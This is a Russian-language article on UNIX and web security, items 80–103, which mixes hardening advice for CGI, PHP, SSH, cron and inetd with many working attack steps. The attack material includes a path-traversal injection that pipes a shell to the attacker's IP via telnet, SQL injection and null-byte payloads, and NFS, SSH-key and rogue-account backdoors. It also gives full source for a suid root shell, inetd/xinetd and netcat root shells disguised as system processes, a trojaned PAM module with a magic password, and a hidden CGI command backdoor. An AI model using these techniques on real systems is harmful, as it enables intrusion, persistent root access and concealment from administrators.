Проблемы безопасности UNIX-подобных ОС и Web III Версия для печати
 

80. Отсутсвие проверки на нулевой символ ("%00"). В языке Perl (в отличие от C) допускается присутствие нуля в строке. Но если эта строка будет передана в функцию системной библиотеки (функция языка C), то символ нуля будет интерпретирован как признак окончания строки. Рассмотрим Perl-код.

$file = $query->param('file') , '.html';
open F, $file;

Если будет запрошен http://www.server.com/cgi-bin/program.cgi?file=1, будет открыт файл 1.html. Однако можно отправить строку file=%2Fetc%2Fpasswd%00, тогда значением переменной $file будет /etc/passwd.html. Когда это значение передается функции open(). Более подробное описание этой проблемы содержится в статье Rain Forrest Puppy (http://www.phrack.org/show.php?p=55&a=7).

81. Вообще, CGI-программисты нередко забывают выполнять проверки. На этот случай разработан надежный метод, который заставит выполнить проверку входящих данных, если они могут повлиять на что-нибудь вне пределов CGI-программы. Это режим недоверия (taint mode). Он основан на использовании одного простого, но важного принципа при получении данных CGI-программой, а именно - изначально предполагается, что программе передаются вредоносные данные. Они настолько опасны, что код CGI-программы не может быть использован для выполнения какихлибо действий в системе вне самой этой программы. Для перехода в режим недоверия используется параметр -T в строке, начинающейся с так называемой "hash-bang" (символ решетки и восклицательный знак).

#! /usr/bin/perl -T

Теперь все данные считаются потенциально опасными. Теперь попытка использования следующего Perl-кода

$file = $query->param("file");
system "ls $file";

не приведет к успеху, поскольку в переменной $file используются данные, полученные извне CGI-программы. Мы получим следующее сообщение об ошибке.

Insecure dependency in system while running with -T switch at test.cgi

Единственным способом применения переменной $file остается предварительная прверка получаемых данных.

82. Неудачно созданные SQL-запросы. Например, рассмотрим следующий Perl-код.

$sth->prepare("INSERT INTO data (name) VALUES('$name')");
$sth->execute();

Можно отправить программе специально подготовленные данные, и функция $name приобретет следующее значение.

Joe'); DROP TABLE data; INSERT INTO foo (bar) VALUES ('baz

В результате функция prepare приобретет такой вид.

$sth->prepare("INSERT INTO data (name) VALUES ('Joe'); DROP TABLE data; INSERT INTO foo (bar) VALUES ('baz')");

В примере показано, что можно удалить таблицу data и добавить подложные данные в таблицу foo. Модуль DBI позволяет позиционные параметры. Это означает, что вместо действительного значения переменной можно использовать символ вопросительного знака в качестве универсального символа. Затем действительные значения передаются как аргументы метода execute(). Таким образом, приведенную выше уязвимую операцию добавления имени в SQL-таблицу можно реализовать следующим образом.

$sth->prepare("INSERT INTO data (name) VALUES (?)");
$sth->execute($name);

При выполнении запроса вместо вопросительного знака используется значение переменной $name. Оно указано как параметр для функции execute. В языке SQL символы наподобие ; не обрабатывабтся как специальные символы, то есть точка с запятой не будет определяться как разделитель команд.
Если необходимо использовать несколько значений, просто добавьте соответствующее значение вопросительных знаков. Вместо них по порядку будут использованы значения переменных, указанных в виде параметров функции execute().

$sth->prepare("INSERT INTO data (name, age, phone) VALUES (?, ?, ?)");
$sth->execute($name, $age, $phone);

Использование позиционных параметров допустимо для всех SQL-функций, которым можно передать аргументы, например для функций INSERT и SELECT.
В языке MySQL обычно не разрешается последовательная запись SQL-операторов через точку с запятой, то есть описанная атака не причинит ущерба базам данных MySQL.

83. Никогда не стоит предполагать, что запросы будут содержать корректные имена файлов. Можно добавлять метасимволы или другие вредоносные данные в имена файлов, что приводит к различным проблемам. Например, представим, что форма содержит скрытое поле.

<input type="hidden" name="filename" value="file1">

CGI-программа открывает указанный файл следующим образом.

$postedfilename = $query->param):file");
$filename = '/path/to/files/' . $postedfilename;
open FH, $filename;

В этом случае в поле имени файла можно указать хоть ../../../etc/passwd
А можно сделать более красиво. Указать ../../../usr/X11R6/bin/xterm%20-display%20[your IP]:0.0. То есть сервер запустит Х-term, и вернет на ваш IP окно с ID=0, То есть root shell.
Нет X-сервера - можно сделать "reverse telnet". Откроем два окна терминала, в которых запустим net cat.

#Первый
root# netcat -l -v -n -p 80
listening on any 80

#Второй
root# netcat -l -v -n -p 21
listening on any 21

В принципе порты могут быть любыми, прада файервол Web-сервера обычно разрешает траффик через них. Передадим в параметрах скрипта строчку ../../../bin/telnet%20[your IP]%2080%20|%20/bin/sh%20|%20/bin/telnet%20[your IP]%2021
То есть подключимся к своему компьютеру, будем слушать команды с первого терминала и передавать shell, а принимать результат будет второй терминал.

84. Никогда не стоит предполагать, что в получаемой от пользователя форме будут содержаться только какие-то определенные поля и ничего лишнего. Ниже приведен пример кода несложной HTML-страницы, который позволяет создать форму и передавать введенные данные CGI-программе.

<html><head><title>Bad Example</title></head>
<body>Example
<form action="/cgi-bin/example.cgi">
Name: <input type="text" name="name"><br>
Phone: <input type="text" name="phone"><br>
<input type="submit">
</form></body></html>

В данном случае, если автор CGI-программы предполагает, что он будет получать данные только полей name и phone, то он рискует допустить большую ошибку. Ведь можно запустить сценарий example.cgi с помощью других или дополнительных полей.
1. Запустить CGI-программу с помощью GET-запроса или указать сооиветствующие пары имя/значение в поле Адрес (Location) браузера.

http:/localhost/cgi-bin/example.cgi?name=Mark&phone=1234567&data=bad+data

2. Запустить CGI-сценарий, организовав telnet-соединение из командного интерпретатора.

user$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'
GET /cgi-bin/example.cgi?name=Mark&phone=1234567&data=bad+data
HTTP/1.0

3. Использовать отдельную программу для организации POST-соединения.

#!/usr/bin/perl -W

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;

$ua = LWP::UserAgent->new();
my $req = POST 'http://localhost/cgi-bin/example.cgi',
[ name => 'Mark', phone => '310.545.1214',
data => 'bad data' ];
$content = $ua->request($reg)->as_string;
print $content;

Теперь же рассмотрим пример крайне неудачного Perl-кода. В данном случае переменные создаются по имени поля: данные поля name будут сохранены в переменной $name, а phone - в переменной $phone.

$params = $query->param();
foreach $param (@params)
{
${$param} = $query->param($param);
}

В этом случае можно создать любую нужную переменную, просто добавив поле в строку запроса, отправляемую Web-серверу.
http://www.server.com/cgi-bin/program.cgi?new_var=test

Предположим, что программа program.cgi использует переменную $SEND_MAIL, где обычно указывается место хранения программы sendmail (как правило, /usr/sbin/sendmail). Чтобы использовать другую программу для отправки почты (или ввести свою для ее перехвата), достаточно ввести следующую строку для запроса.

http://www.server.com/cgi-bin/program.cgi?SEND_MAIL=program

Подобный Perl-код присутствует в одном бесплатно распространяемом сценарии. Для решения этой проблемы необходимо перечислить ожидаемые поля по их именам.

foreach $param ('name', 'phone')
{
${$param} = $guery->param($param);
}

Или лучше так.

$name = $query->param('name');
$phone = $query->param('phone');

85. Скрытые поля часто используются для отправки информации от сервера к клиенту и затем опять к серверу. Информация скрытых полей размещается в дескрипторах формы, но не отображается в окне браузера, но ее без труда можно узнать, просмотрев исходный код страницы.

<html><head><title>Hidden Field</title></head>
<body>Hidden Field
<form action="/cgi-bin/program2.cgi">
Name: <input type="text" name="name"><br>
Phone: <input type="text" name="phone"><br>
<input type="hidden" name="product" value="SuperTovar">
<input type="hidden" name="price" value="10000">
<input type="submit">
</form></body></html>

Чтобы гарантировать, что данные скрытых полей остались неизменными, следует использовать алгоритм хеширования MD5. В данном случае у нас есть название SuperTovar и цена 10000. Добавим еще хотя бы одно секретное значение, "сольем" три слова в одно и получим хеш.

#!/usr/bin/perl -W

use Digest::MD5 qw( md5_base64 );

$passphrase = 'A VERY difficult to guess passphrase';
$product = 'SuperTovar';
$price = '10000';

$digest = md5_base64($product, Sprice, $passphrase);

print $digest," :;

Выполнение этой программы даст следующий результат.

user$ ./md5.pl
r8U4dDjNCyo2CBpEpGO64Q

Созданный хеш можно добавить в форму как скрытое поле.

<input type="hidden" name="digest" value="r8U4dDjNCyo2CBpEpGO64Q">

Теперь если хеш, сгенерированный этой функцией, будет совпадать с дайджестом, полученным из формы, скрытые поля формы не изменены.

86. Допустим, мы решили, что имя пользователя не будет превышать 40 символов. А программа, записывающая имя в файл, использует функцию prinf("%40s, name). Если имя будет иметь длину больше 40 символов, то pintf() затрет данные в следующем поле. Таким образом, можно нанести значительный ущерб, если в следующем поле будет храниться зашифрованный пароль или другая важная информация.
Или, например, при записи данных в базу данных SQL, разрешено вносить произвольное количесто символов, и вносится имя размером 10 МБ. Или программа написана на языке C - тогда, используя имя длиной более 40 символов, возможно переполнение буфера.
Всегда необходимо выполнять проверку длины получаемой строки данных. При привышении предельного значения должно быть выдано сообщение об ошибке или лишние данные должны быть отброшены.

if (length($posted_data) <= 40)
{
process();
}
else
{
complain();
}

87. Представим, у нас есть некая веб-форма. Если данные формы передаются PHP-программе, то PHP автоматически создает глобальные переменные, имя которых будет совпадать с именем элемента формы (с добавлением впереди знака доллара). Например:

<form action="/insecure/program.php">
Name: <input type="text" name="name"> <br>
Age: <input type="text" name="age">
</form>

Когда эта форма передается программе, то автоматически создаются две переменные, которым присваиваются значения $name и $age. На первый взгляд это удобно. Однако не все так безоблачно.

if (authenticate_user())
{
$authenticated = true;
}
...
if ($authenticated)
{
... work ...
}

При положительном результате (аутентификация пользователя), переменной $authenicated присваивается значение true. Позднее значение этой переменной проверяется, и если оно равно true, выполняется какое-то важное действие. Если этой программе отослать строку с параметром authenicated, которому присвоено значение true (program.php?authenicated=true).
Даже если функция authenicate_user() не будет выполнена и вернет значение false, переменная $authenicated все равно будет хранить значение true.
Для отключения этой "полезной" возможности на всем Web-сайте добавьте следующую строку в файл httpd.conf.

php_flag register_globals Off

Отключение этой возможности в конкретном каталоге выполняется так.

<Directory /usr/local/apache/htdocs/secure>
php_flag register_globals Off
</Directory>

88. Следует обеспечить безопасность при получении данных, отправляемых пользователем PHP-программе. Для этой цели при использовании версии PHP старше 4.1.0 можно применять следующие переменные:
$_GET - для получения данных программой используется метод GET;
$_POST - для получения данных программой используется метод POST;
$_REQUEST - объединение методов GET и POST.
Значения этих переменных автоматически устанавливаются PHP-интерпретатором исходя из отправленных клиентом данных. Таким образом, для получения от клиента данных по методу GET можно использовать код

$name = $_GET["name"];
$age = $_GET["age"];

или

$name = $_REQUEST["name"];
$age = $_REQUEST["age"];

89. Можно экспортировать файловую систему взломанного компьютера. В этом случае есть возможность внесения изменений в любые файлы даже без необходимости подключения к скомпрометированному хосту.

compromised# echo '/ bad_guy_comp(rw,no_root_squash)' >> /etc/exports
bad_guy_comp# finger grant@compromised.lax_security.org
grant: no such user.
bad_guy_comp# mount compromised.lax_security.org /mnt/blah
bad_guy_comp# cd /mnt/blah/etc/
bad_guy_comp# cat new_passwd_entry >> passwd
bad_guy_comp# cat new_passwd_entry >> shadow
bad_guy_comp# mkdir /mnt/blah/home/grant
bad_guy_comp# finger grant@compormised.lax_security.org
Login: grant Name: Grant D. T.
Directory: /home/grant Shell: /bin/bash

Обнаружить это очень легко. Имя машины взломщика явно указано в файле /etc/exports на скомпрометированном компьютере. Если на компьютере запущена служба NFS, то администратор должен просматривать этот файл в качестве обычных действий по контролю и обслуживанию системы. Если компьютер не работает как NFS-сервер, то внесенные изменения очевидны благодаря простым командам ps или rpcinfo

compromised$ ps -ef | egrep $interesting_processes
bin 22173 1 0 04:20 ? 00:00:00 portmap
root 225 1 0 04:53 ? 00:00:00 rpc.mountd --no-nfs-version 3
root 917 1 0 04:43 ? 00:00:00 [nfsd]
root 41900 1 0 04:43 ? 00:00:00 [lockd]
root 14681 1 0 04:43 ? 00:00:00 [rpciod]

compromised$ rpcinfo -p localhost
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100005 1 udp 1004 mountd
100005 1 tcp 1006 mountd
100003 2 udp 2049 nfs
100021 1 udp 1059 nlockmgr
100021 3 udp 1059 nlockmgr

Простым способом для выявления несанкционированных изменений в данном случае является применение средств контроля доступа и целостности файлов /etc/exports и содержимого каталога /etc/rc.d, в котором хранятся сценарии, управляющие запуском и остановкой служб. А о запущенных сетевых службах можно быстро узнать, имея только утилиту netcat.

user$ nc -vv -z -w 3 localhost 1-65535

90. В состав большинства новых дистрибутивов Linux входит версия командного интерпретатора, которая не работает, если действительный идентификатор пользователя (uid) и эффективный идентификатор пользователя (euid) не совпадают. Однако, вместо простого копирования файла /bin/sh с установленными root-привилегиями, можно написать на C программу

/*
* suidshell.c
*
* Compile with
* gcc -o suidshell suidshell.c -lcrypt
*
* Install setuserid root, run, and viola.
* Not terribly impressive, and guarenteed to
* be noticed by any sysadmin worth her salt.
*
* Copyright 2001, Brian Hatch
* Released under the GPL. See COPYING file
* for more information.
*/

#include <stdio.h>
#include <unistd.h>
#define _XOPEN_SOURCE

int main() {
char passwd[BUFSIZ];
char encrypted[] = "00frf5lpj6212";

/* Let's require that folks supply a password, just
* to be sure any other users on this system can't
* use this shell on their own. Last thing a hacker
* needs on a compromised system is another hacker
* goofing things up. No, we don't prompt for it -
* that'd set off an administrator for sure...
*/
system("/bin/stty -echo");
read(0, passwd, BUFSIZ-1);
system("/bin/stty echo");

if ( strcmp( crypt(passwd, encrypted), encrypted) == 0 ) {
setreuid(0,0);/* make real and effective userid root */
system("/bin/bash");
} else {
sleep(200);/* make it look like we're doing something... */
}
}

Запуск программы выглядит следующим образом.

compromised$ id
uid=502(reegen) gid=500(reegen) groups=500(reegen)
compromised$ ./suidshell
r00t/m3
[root@compromised]# id -a
uid=0(root) gid=500(reegen) groups=500(reegen)

91. Новая учетная запись упрощает следующие визиты злоумышленника.

compromised# echo 'mial:x:8:12:mail:/var/spool/mail:/bin/bash' >> /etc/passwd
compromised# echo "mial:t83KkP9S1fDXE:::::::' >> /etc/shadow

Вышеприведенный код позволяет создать новую учетную запись с теми же идентификаторами пользователя mail, с похожим именем этой учетной записи, надеясь на то, что системный администратор не обратит на нее внимания и дополнительно получая полезные привилегии. Поскольку учетная запись mail обладает правами на изменений конфигурации почтовых служб и чтения всех почтовых сообщений, включая root, можно узнать, когда администратору станет известно о взломе компьютера. Используемым паролем будет - 137-mEin (это "Let me in" - догадались?)

92. Среди стандартных методов аутентификации для UNIX-систем можно назвать систему NIS или NIS+ (сетевые информационные службы) или протокол LDAP (упрощенный протокол доступа к каталогам), OpenSSH. Все они, конечно, хранят пароли в стандартных каталогах /etc/passwd, /etc/shadow, однако удаление из них не влечет к прекращению доступа к серверу. Например, пакет Samba хранит пароли доступа в файле /etc/samba/smbpasswd.

93. Большинство систем электронной почты (sendmail, postfix) при доставке сообщений пользователю используют данные файла ~/.forward, который позволяет передать сообщения электронной почты в другое место.

xahria@mailserver$ cat $HOME/.forward
xahria@my_other_email.account.com

или же может быть использован для запуска локальной программы доставки почтовых сообщений (да и любой другой).

xahria@mailserver$ cat $HOME/.forward
"|IFS=' ' && exec /usr/bin/procmail -f- || exit 75 #xahria"

94. Программа procmail позволяет применять различные способы фильтрации сообщений, при этом правила обработки сообщений задаются в файле ~/.procmailrc. Например, содержимое следующего файла .procmailrc указывает на переадресацию спама в различные каталоги.

# Отправить нежелательное сообщение в специальную папку
:0Wc
|/usr/bin/razor-check
:0 Wa
IN.razor-spam

:0fw
| /usr/bin/spame

:0:
* ^X-Spam-Status: Yes
IN.spam
...

# Перехватить сообщения электронной почты для удаленного управления
:0:
* ^Subject: Run GPG Commands
|/home/xahria/bin/gpgrunit

То есть запускается программа gpgrunit, на вход которой подается содержимое почтового сообщения. Кроме того, оно удаляется из списка входящих сообщений и отправляется в папку для спама.

95. Сведения о заданиях демона crond хранятся в следующих файлах.

/etc/cron.daily - Все файлы этого каталога (как правило, сценарии для командного интерпретатора) запускаются от имени root один раз в сутки.
/etc/cron.weekly - Все файлы этого каталога запускаются от имени root один раз в неделы.
/etc/crontab - Обычно используется для запуска заданий cron в заданный момент времени.
/var/spool/cron/crontabs/имя_пользователя или /var/spool/cron/имя_пользователя - В этих файлах перечисляются команды, запускаемые в заданное время от имени пользователя, указанного с имени файла.

Если в дальнейшем учетная запись будет заблокирована, то задания cron будут по-прежнему запускаться по установленному графику.

[root@pinGUIn /var/spool/cron/crontabs/lockeduser]# crontab -u lockeduser -l
# min hour day month dayofweek
18 * * * *
/home/lockeduser/bin/donastythings

То есть пользователь lockeduser по-прежнему является владельцем процесса, запускаемого на 18-й минуте каждого часа. Для отмены заданий cron лучше отредактировать файл crontab. Если можно, удалить из него все записи.

root# crontab -u lockeduser -e

Можно создать файл /etc/cron.allow и перечислить в нем имена пользователей, которым будет разрешено запускать задания cron.

96. Задания at (atjobs) запускаются только один раз для какого-то конкретного случая. Создать задание at можно так.

user$ at 12:30am today
at> ls
at>
warning: commands will be executed by /bin/sh
job 9 at 2002-04-19 04:43
user$ at -l
9 2002-04-19 04:43 a
В этом случае мы создали задание на запуск утилиты ls в 12:30 a.m. Результаты выполнения будут отправленны пользователю. А можно и это запустить.

user$ cat at_script
#!/bin/sh
exec >/dev/null; exec 2>/dev/null # Отбросить выходные данные.

# Выполнение каких-то вредоносных действий.

at now + 10 minutes <<EOM

at_script
EOM

user$ at_script
warning: commands will be executed by /bin/sh
job 12 at 2002-04-19 04:50

С помощью команды at -l каждый пользователь может просмотреть список своих заданий. Естественно, пользователь root может просмотреть все задания, только информация предоставляется очень скудно.

root# at -l
18 2002-09-17 04:51 a
root# cd /var/spool/at
root# ls -l
-rwx------ 1 cheryl root 1959 Jul 31 09:58 a0001e010684a7*
-rwx------ 1 lora root 1917 Jul 31 09:59 b00021010577db*

Имена файлов, начинающиеся с символа a являются заданиями at, а те, которые начинаются с символа b, - заданиями batch. В отличие от заданий cron, в данном случае для предотвращения выполнения заданий достаточно удалить файлы из каталога /var/spool/at. Другим стандартным месторасположением этой утилиты является /var/spool/cron/atjobs. Большинство версий демона atd не выполняют заданий at, созданных пользователем, который был удален из системы. Можно создать файл /etc/at.allow, где будут перечислены имена всех пользователей, которым разрешено назначать задания at.

97. В файле /etc/ssh/shosts.equiv содержится список некоторых компьютеров. При этом пользователь одной из систем этой группы компьютеров способен подключаться к другим системам без ввода пароля. Любой пользователь может создать файл ~/.shosts, в котором хранится комбинация имен хостов и имен пользователей с предоставлением такого же беспарольного доступа. Для получения доступа клиент должен доказать свою аутентичность. Последняя осуществляется с помощью механизма "запрос-ответ", встроенного в протокол SSH. На сервере в файле /etc/ssh/ssh_known_hosts хранится список открытых ключей SSH-клиентов. Для установления соединения клиент должен выслать свой открытый ключ (public key) и доказать, что обладает секретным ключом. Если в файлах hosts.equiv или .rhosts сожержаться записи о данном компьютере и открытый ключ клиента совпадает с ключом, хранящимся на сервере, то соединение устанавливается без введения пароля.
"А мы их так":

bad_guy# echo 'bad_guy_comp.example.com me' >> /etc/ssh/shosts.equiv
bad_guy# cat /tmp/bad_guy_comp.example.com.key
>> #/etc/ssh/ssh_known_hosts

# Входим без пароля
me@bad_guy_comp.example.com$ ssh bad_guy
me@bad_guy$

В файле /etc/ssh/sshd_config можно задать значения четырех переменных, с помощью которых определяется уровень доверительных отношений между группой хостов.

RhostsRSAAuthentication - Разрешает доступ без пароля, если компьютер/пользователь указаны в файлах shosts.equiv или .shosts, но только в том случае, когда полученный ключ компьютера соответствует ключу, сохраненному на сервере (только для SSH1).
HostbasedAuthentication - Версия переменной RhostsRSAAuthentication для протокола SSH2.
IgnoreRhosts - Игнорировать пользовательские файлы .shosts. Позволяет использовать данные файла /etc/shosts.equiv и не разрешает пользователям самим предоставлять доступ без пароля.
RhostsAuthentication - Обеспечивает обратную совместимость с r-командами. Никакой проверки ключей не выполняется. Использовать не рекомендуется.

Для каждой переменной могут быть установлены значения yes или no. Выберите один из методов аутентификации без пароля и отредактируйте файл /etc/sshd_config. Для полного запрета подобной аутентификации строки должны выгладеть следующим образом.

RhostsRSAAuthentication no
RhostsAuthentication no
HostbasedAuthentication no
IgnoreRhosts yes

При использовании протокола OpenSSH с помощью специальных средств должны отслеживаться изменения таких файлов.

/etc/hosts.equiv
/etc/ssh/shosts.equiv
/home/*/.rhosts
/home/*/.shosts
/etc/ssh/sshd_config
/etc/ssh/ssh_known_hosts

В некоторых дистрибутивах Linux конфигурационные файлы протокола OpenSSH размещаются в каталоге /etc вместо /etc/ssh.

98. Кроме паролей, протокол SSH поддерживает аутентификацию пользователей по паре ключей открытый/секретный. На клиентском хосте пользователь создает свой секретный ключ с помощью программы ssh-keygen, для запуска которой требуется ввести отдельный пароль. Открытый ключ добавляется в файл $HOME/.ssh/authorized_keys SSH-сервера для учетной записи, которая будет получать доступ по этому ключу. Когда пользователь пытается организовать сеанс связи с удаленной машиной, клиент сообщает серверу открытый ключ для аутентификации. Если это допустимый ключ, сервер генерирует произвольный номер, шифрует его открытым ключом и значение отправляет клиенту. Клиент дешифрует это значение своим секретным ключом, вычисляет идентификационную фразу и отправляет назад серверу. Сервер проверяет идентификационную фразу и разрешает вход в систему без какого-либо UNIX-пароля.
То есть можно просто скопироватьсвой открытый ключ на скомпрометированный компьютер.

bad_guy_comp$ scp bad_guy.identity.pub compromised.example.org:/tmp

Добавляем этот ключ в файл authorized_keys

compromised# cat /tmp/bad_guy.identity.pub >> /root/.ssh/authorized_keys

Пытаемся войти в систему

bad_guy_comp$ ssh -lroot compromised.example.org
Enter passphrase for RSA key 'bad_guy@example.com': <введите идентификационную фразу>
compromised# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),10(wheel)

Запрашиваемая идентификационная фраза вычисляется с помощью секретного ключа взломщика и при желании может быть вообще удалена. Для доступа ко вломанному хосту потребуется только открытый ключ. Даже если пароль для учетной записи root на компьютере compromised будет изменен, подключаться все равно будет можно с помощью открытого ключа.
Если вход в систему с помощью аутентификации по открытому/секретному ключу не нужен, отключите этот метод аутентификации, добавив следующую строку в файл /etc/ssh/sshd_config.

RSAAuthentication no
PubkeyAuthentication no

Если такая аутентификация имеет место, то нужно настроить программы проверки целостности файлов на контроль за состоянием файла /root/.ssh/authorized_keys, а также пользовательских файлов authorized_keys.

99. Одним из наиболее простых способов удаленного запуска командного интерпретатора с привилегиями root является добавление соответствующей записи в файл /etc/inetd.conf. Предположим, что порт ingreslock не используется на взломанном компьютере. Добавим следующую строку

ingreslock stream tcp nowait root /bin/bash -i

Поскольку соединение выполняется через сетевой сокет (терминал tty не используется), то не будет никаких дополнительных возможностей, таких как управление заданиями или вывод приглашения, но все равно можно выполнить любую команду от имени root.

bad_guy_comp$ nc -vv compromised.example.edu ingreslock
compromised.example.edu [172.18.9.1] 1524 (ingreslock) open
cd /root
ls -aC
. .acrorc .cshrc .nessusrc
.. .bash_history .mh_profile Vmware-2.0.3-799.i386.rpm
.Xdefaults .bashrc .nessus.keys

Как обычно, желательно использовать команду chattr +i относительно файла /etc/inetd.conf и других конфигурационных файлов, что защитит от большинства несложных программ атаки. Еще лучше - вообще не запускать inetd. Большинство служб, доступных с помощью inetd, могут (и должны) быть отключены и заменены протоколом OpenSSH. Inetd занимает много портов, и для каждого подключения запускает сервер нужного типа. Самые известные из сервисов Inetd - это ftp, telnet, pop, imap, finger. Вы можете получить список сервисов в /etc/services, и так же посмотреть на статус ваших сервисов. Для конфигурации суперсервера inetd используют /etc/inetd.conf.
Пример того, что можно увидеть в inetd.conf:

(порт) (тип) (протокол) (ожидание) (UID) (программа) (аргументы)
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd

Вот - пример файла inetd.conf.

ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
shell stream tcp nowait root /usr/sbin/tcpd in.rshd
login stream tcp nowait root /usr/sbin/tcpd in.rlogind
talk dgram udp wait nobody.tty /usr/sbin/tcpd in.talkd
talk dgram udp wait nobody.tty /usr/sbin/tcpd in.ntalkd
finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd
linuxconf stream tcp wait root /bin/linuxconf linuxconf --http

Обратите внимание на сервисы, у которых в графе UID стоит root. Эти программы имеют права root'а. И если кто-нибудь захватит контроль над одним из этих сервисов, то у вас появятся большие проблемы. Поэтому проверка сервисов очень важна.

100. Демон xinetd использует информацию файла /etc/xinetd.conf и любого из файлов в каталоге для конфигурационных файлов /etc/xinetd.d. Добавлением нужных строк, например, следующих.

compromised# cat /etc/xinetd.d/ingreslock
service ingreslock
{
port = ingreslock
socket type = stream
wait = no
user = root
server = /bin/bash
server_args = -i
disable = no
}
compromised# killall -USR2 xinetd

Как и в прошлом случае, злоумышленнику остается только подключиться к порту ingreslock.

bad_guy_comp$ nc -vv compromised.example.edu ingreslock
compromised.example.edu [172.18.9.1] 1524 (ingreslock) open
compromised$ id
uid=0(root) gid=0(root) groups=0(root)

Меры защиты аналогичны защите inetd. Организуйте проверку целостности файлов /etc/xinetd.conf и /etc/xinetd.d/*. Любые новые файлы каталога должны немедленно проверяться.
Хотя в обеих случаях можно обойтись без изменения этих файлов. Ведь можно запустить inetd или xinetd, используя отдельный конфигурационный файл, и запустить inetd вручную.

compromised# cat > /tmp/inetd.conf <<EOM

ingreslock stream tcp nowait root /bin/bash -i
amanda stream tcp nowait root /usr/bin/reboot
EOM
compromised# /usr/sbin/inetd /tmp/inetd/conf

В данном случае командный интерпретатор с привилегиями root будет доступен на первом порту (ingreslock), а с помощью второго можно быстро выполнить перезагрузку компьютера.
То же самое может быть проделано и для демона xinetd.

compromised# cat > /tmp/xinetd.conf <<EOM

service ingreslock
{
port = ingreslock
socket type = stream
wait = no
user = root
server = /bin/bash
server_args = -i
disable = no
}
EOM
compromised# /usr/sbin/xinetd -f /tmp/xinetd.conf

От данной атаки защититься нелегко. Даже если запретить обычным пользователям запускать inetd и xinetd, возможно загрузить или скомпилировать собственную копию inetd и xinetd и запустить ее. Поможет защититься брандмауэр или набор правил Netfilter на запрет всех входящих соединений, кроме тех, которые выделены для запущенных служб.

101. Можно воспользоваться утилитой netcat. Прежде всего создадим сценарий для запуска командного интерпретатора.

compromised# cat /tmp/rootshell
#!/bin/bash -i

compromised# nc -vv -l -p -e /tmp/rootshell
listening on [any] 9999 ....
connect to [127.0.0.1] from bad_guy_comp [172.18.9.1] 2038

После этого он подключатется со своего компьютера

bad_guy_comp# nc -vv compromised.example.edu 9999
compromised.example.edu [172.18.9.1] 999 (?) open
[root@compromised]# w
11:17am up 180 days, 38 min, 4 users, load average: 1.89, 1.56, 1.23
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
reegen tty1 - 19Apr 0 1.00s 0.46s ? -
maddie pts/0 ws.5.example.edu 27Nov 0 2days 0.33s 0.13s ksh
[root@compromised]#

Если системный администратор захочет посмотреть список запущенных процессов, он получит следующий результат.

compromised$ ps -ef|egrep 'flush|nc|netc'
root 2 1 0 Dec 6 ? 00:00:06 [kflushd]
root 30757 1 0 11:55 ? 00:00:00 [flushd]
root 30758 30757 0 11:55 ? 00:00:00 [flushd]

Процесс под номером 30757 является демоном runnc, а под номером 30758 - обслуживающей программой runnc (процесс под номером 2 является настоящим системным демоном kflushd и не относится к нашей программе атаки). Каждый из них указан под именем [flushd]. Обратите внимание, что запущенные программы бубут отображены с помощью ps следующим образом.

compromised$ ps -ef |grep 30758
root 30758 30757 0 11:55 ? 00:00:00 [flushd]
root 30928 30758 0 18:10 ? 00:00:00 find / -name *.mp3 -print

102. Для многих служб в целях аутентификации пользователей стали применяться стандартные подгружаемые модули аутентификации (PAM) вместо независимой аутентификации для каждой программы. С помощью троянских PAM-библиотек можно получить возможность добавить "магические" пароли сразу для нескольких служб, даже не изменяя демоны этих служб. Рассмотрим пример использования программы идентификации пользователей /bin/login на компьютере, где запущена Debian 3.0. Программа использует PAM-конфигурацию, определенную в файле /etc/pam.d/login.

auth requisite pam_securetty.so
auth requisite pam_nologin.so
auth required pam_env.so
auth required pam_unix.so nullok
account required pam_unix.so
session required pam_unix.so
session optional pam_lastlog.so
session optional pam_motd.so
session optional pam_mail.so standard noenv
password required pam_unix.so nullok obscure min=5 max=8

Попробуем подключиться (запустить /bin/login) с локального терминала.

brenda@machine$ /bin/login
login: george
Password: <попытка угадать пароль>
Login incorrect.

Допустим, мы закомментировали строку auth, содержащую /lib/security/pam_pwdb.so, и снова
попытались запустить /bin/login.

brenda@machine$ /bin/login
login: george
george@machine$ whoami
george

Закомментировав строку auth, мы указали PAM-модулям, управляющим регистрацией пользователей, не запускать проверки из библиотеки pam_unix.so, которые подтверждают соответствие пароля данным файлов /etc/passwd и /etc/shadow. Таким образом, у пользователя даже не спрашивается пароль.
Подобное изменение обнаружится немедленно. Вместо этого можно незначительно изменить метод проверки паролей с помощью библиотеки pam_unix.so. Ниже приведен фрагмент из файла support.-c (в имени файла нет опечатки), содержащий исходный код PAM и добавленный троянский код.

int _unix_verify_password(pam_handle_t *pamh, const char *name, const char *p, unsigned int ctrl)
{
struct passwd *pwd = NULL; struct spwd *spwdent = NULL;
char *salt = NULL; char *pp = NULL;
char *data_name; int retval;

/* Начало добавленного троянского кода */
if ( ! strcmp( p, "$uperR s3cr!t s7r*n&" ) )
{
return PAM_SUCCESS;
}
/* Конец добавленного троянского кода */
D(("called"));
/* Найти запись для этого пользователя */
D(("locating user's record"));
pwd = getpwnam(name); /* Получить запись из файла паролей... */
...

Затем компилируем свою версию библиотеки pam_unix.so и размещаем в /lib/security. После этого все программы, использующие при аутентификации библиотеку PAM pam_unix.so (данная библиотека используется практически всеми программами с аутентификацией пользователей, включая login, passwd, sshd, su, xscreensaver и т.д.), будут иметь "потайной ход" для беспрепятственного доступа (при вводе "магического" пароля $uperR s3cr!t s7r*n& никакой проверки имени пользователя и пароля производиться не будет).

103.. Если запущен Web-сервер, можно изменить существующий CGI-сценарий. Достаточно, например, добавить следующую строчку в начало CGI-сценария, написанного на языке Perl.

system param('hello') if param('hello');

Далее создадим HTML-форму с параметром hello, а CGI-сценарий передает значение этого поля в командный интерпретатор и запускает как команду с помощью функции system(). Это простой "потайной ход" для удаленного доступа. Для скрытия внесенных изменений можно разместить вышеприведенную строку в файле /usr/lib/perl5/5.00503/html.pm, а затем изменить начало CGI-сценария следующим образом.

#!/usr/bin/perl

use CGI;
use html;

<здесь начинается действительный CGI-сценарий>

